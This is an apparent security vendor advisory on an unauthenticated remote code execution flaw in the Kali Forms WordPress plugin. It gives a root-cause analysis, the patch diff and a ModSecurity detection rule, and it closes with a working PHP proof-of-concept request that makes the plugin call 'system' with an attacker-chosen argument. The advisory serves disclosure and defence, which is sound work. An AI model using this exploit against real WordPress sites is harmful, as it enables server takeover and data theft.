Atomic Edge analysis of CVE-2026-3584:
This vulnerability is an unauthenticated remote code execution flaw in the Kali Forms WordPress plugin, affecting versions up to and including 2.4.9. The vulnerability resides in the form processing component, specifically within the `form_process` function, and receives a CVSS score of 9.8 due to its network-based, unauthenticated nature and direct code execution impact.
The root cause is the plugin’s failure to validate user-supplied field names before mapping them to internal placeholder storage. In the vulnerable code, the `prepare_post_data` function (kali-forms/Inc/Frontend/class-form-processor.php) processes form submission data. It maps arbitrary keys from the `$data` array directly into the `$this->placeholdered_data` array. Later, the `_save_data` method uses `call_user_func` on values from this array. Attackers can submit form field names that match internal placeholder keys like `{entryCounter}`, `{thisPermalink}`, or `{submission_link}`, which the plugin treats as callable functions. The vulnerable code paths include the `check_if_placeholders_changed` method (lines 256-270) and the `prepare_post_data` method (lines 340-380), which iterate over `$this->data` and `$data` arrays without verifying if the keys exist in the `$this->field_type_map` array.
Exploitation occurs via a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `kaliforms_form_process`. Attackers craft a form submission containing a field name that matches a reserved placeholder key, such as `{entryCounter}`, and set its value to a PHP function like `system` or `shell_exec`. They pair this with another field containing the command to execute, for example `{submission_link}` with the value `id`. When the plugin processes the submission, it maps the attacker-controlled key into `$this->placeholdered_data`. The subsequent `call_user_func` call executes the attacker’s function with their supplied argument, leading to arbitrary code execution.
The patch introduces two key changes. First, it adds guard clauses in both `check_if_placeholders_changed` (line 263) and `prepare_post_data` (line 354) that skip processing any data key not present in the `$this->field_type_map` array. This prevents arbitrary user input from entering the placeholder system. Second, it adds a new private method `restore_internal_callable_placeholders` (lines 402-415) that explicitly resets the values of critical placeholder keys (`{entryCounter}`, `{thisPermalink}`, `{submission_link}`) to their original, safe defaults from the `GeneralPlaceholders` class. This ensures that even if an attacker bypasses the first check, the internal callable placeholders cannot be overwritten with malicious values.
Successful exploitation grants attackers the ability to execute arbitrary operating system commands with the privileges of the web server process. This typically results in full server compromise. Attackers can create backdoor access, exfiltrate sensitive data (including database credentials and user information), manipulate or delete website files, and use the server as a pivot point for further network attacks. The unauthenticated nature of the vulnerability means any site visitor can trigger the exploit.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/kali-forms/Inc/Frontend/class-form-processor.php
+++ b/kali-forms/Inc/Frontend/class-form-processor.php
@@ -256,11 +256,22 @@
public function check_if_placeholders_changed()
{
// 1.6.3 fix - the checkbox "string" value was overwritten with the "source of truth"
+ if ($this->post !== null && empty($this->field_type_map)) {
+ $prepared_maps = $this->setup_field_map();
+ $this->field_type_map = $prepared_maps['map'];
+ $this->advanced_field_map = $prepared_maps['advanced'];
+ }
+
foreach ($this->data as $key => $value) {
+ if (!array_key_exists($key, $this->field_type_map)) {
+ continue;
+ }
+
$type = 'textbox';
- if (isset($this->field_type_map[$key]) && !empty($this->field_type_map[$key])) {
+ if (!empty($this->field_type_map[$key])) {
$type = $this->field_type_map[$key];
}
+
$this->_run_placeholder_switch($type, $key, $value);
}
}
@@ -340,8 +351,12 @@
$data = array_merge($data, $this->_get_product_fields($data));
foreach ($data as $k => $v) {
+ if (!array_key_exists($k, $this->field_type_map)) {
+ continue;
+ }
+
$type = 'textbox';
- if (isset($this->field_type_map[$k]) && !empty($this->field_type_map[$k])) {
+ if (!empty($this->field_type_map[$k])) {
$type = $this->field_type_map[$k];
}
@@ -380,10 +395,28 @@
$this->placeholdered_data = apply_filters($this->slug . '_form_placeholders', $this->placeholdered_data);
+ $this->restore_internal_callable_placeholders();
+
return $data;
}
/**
+ * Ensure built-in placeholder callbacks cannot be replaced by field names that mirror
+ * reserved keys or untrusted POST keys (call_user_func targets in _save_data).
+ *
+ * @return void
+ */
+ private function restore_internal_callable_placeholders()
+ {
+ $defaults = (new GeneralPlaceholders())->general_placeholders;
+ foreach (['{entryCounter}', '{thisPermalink}', '{submission_link}'] as $key) {
+ if (isset($defaults[$key])) {
+ $this->placeholdered_data[$key] = $defaults[$key];
+ }
+ }
+ }
+
+ /**
* Get product total
*
* @param [type] $data
--- a/kali-forms/bootstrap.php
+++ b/kali-forms/bootstrap.php
@@ -15,4 +15,4 @@
define('KALIFORMS_BASE_API', 'https://www.kaliforms.com/wp-json/wp/v2/');
define('KALIFORMS_EXTENSIONS_API', 'https://kaliforms.com/wp-json/kf/v1/plugins');
define('KALIFORMS_UNINSTALL_FEEDBACK_API', 'https://kaliforms.com/wp-json/kf/v1/uninstall-feedback');
-define('KALIFORMS_VERSION', '2.4.9');
+define('KALIFORMS_VERSION', '2.4.10');
--- a/kali-forms/kali-forms.php
+++ b/kali-forms/kali-forms.php
@@ -5,7 +5,7 @@
* Plugin URI: https://www.kaliforms.com
* Description: Kali Forms provides a user-friendly form creation experience for WordPress.
* Author: Kali Forms
- * Version: 2.4.9
+ * Version: 2.4.10
* Author URI: https://www.kaliforms.com/
* License: GPLv3 or later
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3584
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10003584,phase:2,deny,status:403,chain,msg:'CVE-2026-3584 Kali Forms RCE via AJAX',severity:'CRITICAL',tag:'CVE-2026-3584',tag:'WordPress',tag:'Kali-Forms',tag:'RCE'"
SecRule ARGS_POST:action "@streq kaliforms_form_process" "chain"
SecRule ARGS_POST "@rx {(entryCounter|thisPermalink|submission_link)}"
"t:none,t:urlDecodeUni,t:lowercase,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3584 - Kali Forms <= 2.4.9 - Unauthenticated Remote Code Execution via form_process
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
// The AJAX action for form processing
$post_data = [
'action' => 'kaliforms_form_process',
// Form ID - this must be a valid form ID on the target site
'formId' => '1',
// Nonce - not required due to the vulnerability
'nonce' => '',
// Payload: Field name matches the internal placeholder key {entryCounter}
// The value is the PHP function to call (e.g., system, shell_exec, passthru)
'{entryCounter}' => 'system',
// Another field provides the argument for the function call
// The plugin uses call_user_func with two arguments from placeholdered_data
'{submission_link}' => 'id',
// Additional dummy fields may be required depending on form configuration
'dummy' => 'value'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Set headers to mimic a regular form submission
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response:n$responsen";
// If the command executed, the output of 'id' will be in the response
}
curl_close($ch);
?>